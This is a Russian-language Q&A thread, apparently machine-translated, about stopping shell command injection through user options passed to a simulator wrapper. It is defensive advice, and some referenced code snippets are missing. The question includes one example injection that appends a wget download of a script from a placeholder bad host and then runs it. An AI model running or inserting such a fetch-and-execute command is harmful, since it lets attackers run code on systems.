У меня есть приложение-обертка, где мне нужно разрешить пользователю указывать пользовательские параметры для передачи в симулятор. Однако я хочу убедиться, что пользователь не вводит другие команды через пользовательские опции. Какой лучший способ сделать это?
Например.
- Пользователь предоставляет:
-a -b
- Приложение выполняет:
mysim --preset_opt -a -b
Однако я не хочу, чтобы это произошло:
- Пользователь предоставляет:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Приложение выполняет:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
В настоящее время я думаю, что я мог бы просто окружить каждую предоставленную пользователем опцию одинарными кавычками '
и убрать любые предоставленные пользователем одинарные кавычки, чтобы команда в последнем примере оказалась безвредной:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Примечание. mysim
Команда выполняется как часть сценария оболочки в контейнере docker / lxc. Я использую Ubuntu.
eval
для запуска приложения? Если нет, укол не должен произойти:x="&& echo Doomed" ; echo $x
eval
. Я вызываю исполняемый файлmysim
внутри сценария оболочки. Я вижу, как происходит внедрение, если я просто копирую строку параметров, предоставленных пользователем, и вставляю ее в концеmysim
команды.-a -b
. Поэтому я хочу убедиться, что дополнительные команды не вводятся в эту строку.[a-zA-Z0-9 _-]
выглядит довольно оборонительным выбором.Ответы:
Если у вас есть контроль над программой-оболочкой, убедитесь, что она не вызывает подоболочку. В глубине души инструкция по выполнению программы состоит из полного пути (абсолютного или относительно текущего каталога) к исполняемому файлу и списка строк, передаваемых в качестве аргументов. Поиск в PATH, аргументы, разделяющие пробелы, операторы цитирования и управления - все это обеспечивается оболочкой. Нет раковины, нет боли.
Например, для оболочки Perl используйте форму списка
exec
илиsystem
. Во многих языках вызывайте одну из функцийexec
илиexecXXX
(или какunix.exec
бы она ни называлась) вместоsystem
, илиos.spawn
с помощьюshell=False
, или как угодно.Если оболочка является сценарием оболочки, используйте
"$@"
для передачи аргументов, напримерЕсли у вас нет выбора, и программа-оболочка вызывает оболочку, вам необходимо заключить аргументы в кавычки, прежде чем передавать их в оболочку. Простой способ процитировать аргументы заключается в следующем:
'
(одинарная кавычка) строкой из четырех символов'\''
. (например,don't
становитсяdon'\''t
)'
в начале каждого аргумента, а также в конце каждого аргумента. (например, изdon't
,don'\''t
становится'don'\''t'
)Если вам нужно сделать это в оболочке оболочки, вот способ.
(К сожалению,
${VAR//PATTERN/REPLACEMENT}
конструкция bash , которая здесь пригодится, требует необычных кавычек, и я не думаю, что вы можете получить'\''
в качестве замены текст.)источник
Вы можете использовать Bash -
${VAR//PATTERN/REPLACEMENT}
идиомы , чтобы превратить апостроф'
в'\''
сначала положить'\''
в переменную (как промежуточный этап) , а затем расширяет эту переменную в качествеREPLACEMENT
элемента в упомянутом Баш идиомы.источник
Вы можете использовать
getopts
вbash
котором можно проанализировать аргументы для вас, например:источник